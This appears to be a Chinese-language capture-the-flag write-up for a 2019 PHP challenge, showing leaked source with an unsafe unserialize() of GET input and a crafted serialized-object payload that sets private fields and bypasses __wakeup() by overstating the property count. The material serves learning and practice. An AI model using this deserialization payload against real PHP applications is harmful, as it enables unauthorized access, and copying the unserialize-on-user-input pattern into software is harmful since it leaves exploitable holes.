zoukankan      html  css  js  c++  java
  • 极客大挑战 2019 PHP

    0x00

    题型:源码泄露,php反序列化,wakeup方法的绕过。

    0x01

    提示网站有备份,直接在url后面拼接www.zip,下载到源码。主要代码如下:

    <?php
        include 'class.php';
        $select = $_GET['select'];
        $res=unserialize(@$select);
    ?>
    
    <?php
    include 'flag.php';
    
    
    error_reporting(0);
    
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
                
            }
        }
    }
    ?>

    简单明了,对传入的select进行php反序列化,username===’admin'&&password==100时,就可以拿到flag。

    0x02

    payload:

    ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    tip1:

    为什么要加上%00?

    php对private属性的变量序列化时,会在类名前后生成空字符,即0x00,看起来就像空格,实际上不是空格,复制到剪切板时会发现被截断,因此加上%00,让php能正常解析。

    tip2:

    Name类只有两个属性,为什么写成3?

    为了绕过_wakeup()这个魔术方法,反序列化时_wakeup()被自动调用,在这个类中wakeup()会改变我们传入的参数,所以需要绕过。而当反序列化时,属性个数与实际数目不符的情况下,这个方法是不会被调用的。

  • 相关阅读:
    Python编程第5讲—if 语句
    GIT 笔记
    jQuery多余文字折叠效果
    静态库与动态库的制作与使用
    Makefile
    C++ 有理数类
    使用mstest.exe 命令行跑test case(不安装Visual Studio 2010)
    Termp Folder and its subfolders
    ToString() 格式化字符串总结
    REST基础
  • 原文地址:https://www.cnblogs.com/BlueDoor1999/p/13301370.html
Copyright © 2011-2022 走看看